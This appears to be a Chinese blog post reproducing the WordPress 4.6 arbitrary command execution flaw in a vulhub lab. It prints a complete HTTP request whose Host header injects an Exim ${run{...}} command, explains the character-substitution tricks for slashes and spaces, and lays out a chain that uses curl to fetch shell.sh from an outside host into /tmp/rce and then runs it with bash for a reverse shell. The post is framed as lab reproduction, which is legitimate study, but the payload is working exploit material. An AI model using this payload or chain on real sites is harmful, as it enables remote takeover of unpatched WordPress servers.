vulhub中Wordpress 4.6 任意命令执行漏洞复现

由于Mysql初始化需要一段时间,所以请等待。成功运行后,访问http://your-ip:8080/打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。

发送如下数据包,可见/tmp/success已经成功创建:

复制代码
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin

但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:

  1. 执行的命令不能包含大量特殊字符,如:、引号等。

  2. 命令会被转换成小写字母

  3. 命令需要使用绝对路径

  4. 需要知道某一个存在的用户的用户名

为了解决这些坑,漏洞作者想出了,利用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格的方法。

但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行。

所以,总体来说利用过程如下:

  • 编写反弹shell的exp,放到某个网页里。有如下要求:

    • 整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径

    • 访问该网页不能跳转,因为follow跳转的参数是-L(大写)

  • 拼接成命令/usr/bin/curl -o/tmp/rce example.com/shell.sh和命令/bin/bash /tmp/rce

  • 将上述命令中的空格和/转换成${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}

  • 拼接成HTTP包的Host头:target(any -froot@localhost -be ${run{command}} null)

  • 依次发送这两个拼接好的数据包

相关推荐
WordPress学习笔记9 小时前
给wordpress网站的图片加alt标签
wordpress
凉风听雪15 小时前
WordPress+Elementor+Woocommerce配置产品聚合页和分类页多项筛选产品功能
wordpress·外贸·独立站·b to b
凉风听雪17 小时前
WordPress+Elementor+ACF+Premium Addons PRO实现字段判定组件显隐
wordpress
永远的WEB小白2 天前
wordpress定时发布失败!站点健康处提示cURL 错误 35
wordpress
WordPress学习笔记3 天前
WordPress主题之家
wordpress
WordPress学习笔记3 天前
WordPress多语种独立站 打造全球化外贸网站
wordpress
A小辣椒4 天前
WordPress如何隐藏后台登陆网址
安全·wordpress
WordPress学习笔记4 天前
2026正版可商用wordpress主题推荐
wordpress
WordPress学习笔记4 天前
wordpress后台更新插件时出现“链接信息”提示
wordpress
星零岁GZY6 天前
2026年 WordPress 极速优化指南:从服务器底层到前端缓存
服务器·性能优化·wordpress·雨云